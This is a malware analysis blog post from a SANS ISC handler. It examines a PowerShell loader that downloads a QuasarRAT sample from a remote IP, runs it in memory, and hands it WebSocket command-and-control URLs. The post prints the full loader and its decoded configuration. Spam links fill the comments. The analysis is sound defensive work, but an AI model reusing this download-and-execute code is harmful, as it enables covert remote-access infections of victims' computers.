Keep an Eye on WebSockets
It has been a while that I did not spot WebSockets used by malware. Yesterday I discovered an interesting piece of Powershell. Very small and almost undetected according to its Virustotal score (2/54)[1]. A quick reminder for those that don't know what a "WebSocket" is. When you perform a classic HTTP request to a server, it replies with some data and closes the connection. WebSockets make the client/server push messages at any time without any relation to a previous request. Compared to HTTP, they allow bi-directional protocols, full-duplex and, over a single TCP connection.
The script is coming from China (the filename contains Chinese characters and means "New Text Document.ps1". I had a look at the downloaded malware that contains a lot of Chinese characters:
The Powershell script is very simple:
$_0000 = 0 while($_0000 -lt 16) { try { $_0001 =(new-object net.webclient).DownloadData('hxxp://185[.]112[.]144[.]245/a/data') $_0002 =[System.Reflection.Assembly]::Load($_0001) $_0003 = $_0002.EntryPoint [string[]] $_0004 = @("CiN3czovL3d3dzguYWR2YjlmeXhsZjJ2LmNvbToxMjM0NS93cwojd3M6Ly93d3c3LmFkdmI5Znl4bGYydi5jb206MTIzNDUvd3MKI3dzOi8vd3d3Ni5hZHZiOWZ5eGxmMnYuY29tOjEyMzQ1L3dzCiN3czovL3d3dzUuYWR2YjlmeXhsZjJ2LmNvbToxMjM0NS93cwojd3M6Ly93d3c0LmFkdmI5Znl4bGYydi5jb206MTIzNDUvd3MKI3dzOi8vd3d3My5hZHZiOWZ5eGxmMnYuY29tOjEyMzQ1L3dzCiN3czovL3d3dzIuYWR2YjlmeXhsZjJ2LmNvbToxMjM0NS93cwoid3M6Ly93d3cuYWR2YjlmeXhsZjJ2LmNvbToxMjM0NS93cxLzATxSU0FLZXlWYWx1ZT48TW9kdWx1cz5zTjMrY3M1UWFwUGFGbVFvbldaOENyK0QvOS9PK3ZwQXpJNUErYW1BZWFuZDltNUxsVGFLYnAvUU1uL3RBODExQ2VjU1BPTFlGdk1uZ3pMaWF0aHRiRmdqV0h1UlFSNzRmUlJiSk85cUVsQU9XYUZONnJIY1ZteGp2MDlOSFJ1YzJSMlowQ2JoNnJ6SkFzK0k0MTdYdkhaczh6dGxCQk9sYmtFNjBYWlc1YUU9PC9Nb2R1bHVzPjxFeHBvbmVudD5BUUFCPC9FeHBvbmVudD48L1JTQUtleVZhbHVlPhoXR2xvYmFsXFZTOGJkdmRpSzdBblJWQTI=") [Object[]] $_0005 = @(, $_0004) $_0003.Invoke($_0006, $_0005) exit } catch { } $_0000++ sleep 5 }
The DownloadData()
fetches a PE file (SHA256:76e3a97d5bde3a99397d73fa4463e2ca7f966b0f7b0478063f8993ee07c8cc89/detection)[2]. This is a sample of QuasarRAT[3]. The configuration is passed via the Base64-encode data:
#ws://www8[.]advb9fyxlf2v[.]com:12345/ws #ws://www7[.]advb9fyxlf2v[.]com:12345/ws #ws://www6[.]advb9fyxlf2v[.]com:12345/ws #ws://www5[.]advb9fyxlf2v[.]com:12345/ws #ws://www4[.]advb9fyxlf2v[.]com:12345/ws #ws://www3[.]advb9fyxlf2v[.]com:12345/ws #ws://www2[.]advb9fyxlf2v[.]com:12345/ws "ws://www[.]advb9fyxlf2v[.]com:12345/ws.ó.<RSAKeyValue><Modulus>sN3+cs5QapPaFmQonWZ8Cr+D/9/O+vpAzI5A+amAeand9m5LlTaKbp/QMn/tA811CecSPOLYFvMngzLiathtbFgjWHuRQR74fRRbJO9qElAOWaFN6rHcVmxjv09NHRuc2R2Z0Cbh6rzJAs+I417XvHZs8ztlBBOlbkE60XZW5aE=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>..Global\VS8bdvdiK7AnRVA2
All ws:// URLs resolve to the same IP address (179.43.187.119) but it seems down at this time so I simulated the server in my lab:
GET /ws HTTP/1.1 User-Agent: websocket-sharp/1.0 Host: www3[.]advb9fyxlf2v[.]com:12345 Upgrade: websocket Connection: Upgrade Sec-WebSocket-Key: oiIidMOCwZD/IpeCwIp81A== Sec-WebSocket-Version: 13
It could be a good idea to keep an eye on WebSockets, there is an interesting SANS white paper about this topic[4].
[1] https://www.virustotal.com/gui/file/ea9cf52e7f020de7970cec3e73664fef9a0641cb8fbc7b5dc7734a255d9e6784/detection
[2] https://www.virustotal.com/gui/file/76e3a97d5bde3a99397d73fa4463e2ca7f966b0f7b0478063f8993ee07c8cc89/detection
[3] https://malpedia.caad.fkie.fraunhofer.de/details/win.quasar_rat
[4] https://www.sans.org/white-papers/38035/
Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
Comments
Anonymous
Dec 3rd 2022
9 months ago
Anonymous
Dec 3rd 2022
9 months ago
<a hreaf="https://technolytical.com/">the social network</a> is described as follows because they respect your privacy and keep your data secure. The social networks are not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go.
<a hreaf="https://technolytical.com/">the social network</a> is not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go. The social networks only collect the minimum amount of information required for the service that they provide. Your personal information is kept private, and is never shared with other companies without your permission
Anonymous
Dec 26th 2022
8 months ago
Anonymous
Dec 26th 2022
8 months ago
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> nearest public toilet to me</a>
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> public bathroom near me</a>
Anonymous
Dec 26th 2022
8 months ago
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> nearest public toilet to me</a>
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> public bathroom near me</a>
Anonymous
Dec 26th 2022
8 months ago
Anonymous
Dec 26th 2022
8 months ago
https://defineprogramming.com/
Dec 26th 2022
8 months ago
distribute malware. Even if the URL listed on the ad shows a legitimate website, subsequent ad traffic can easily lead to a fake page. Different types of malware are distributed in this manner. I've seen IcedID (Bokbot), Gozi/ISFB, and various information stealers distributed through fake software websites that were provided through Google ad traffic. I submitted malicious files from this example to VirusTotal and found a low rate of detection, with some files not showing as malware at all. Additionally, domains associated with this infection frequently change. That might make it hard to detect.
https://clickercounter.org/
https://defineprogramming.com/
Dec 26th 2022
8 months ago
rthrth
Jan 2nd 2023
8 months ago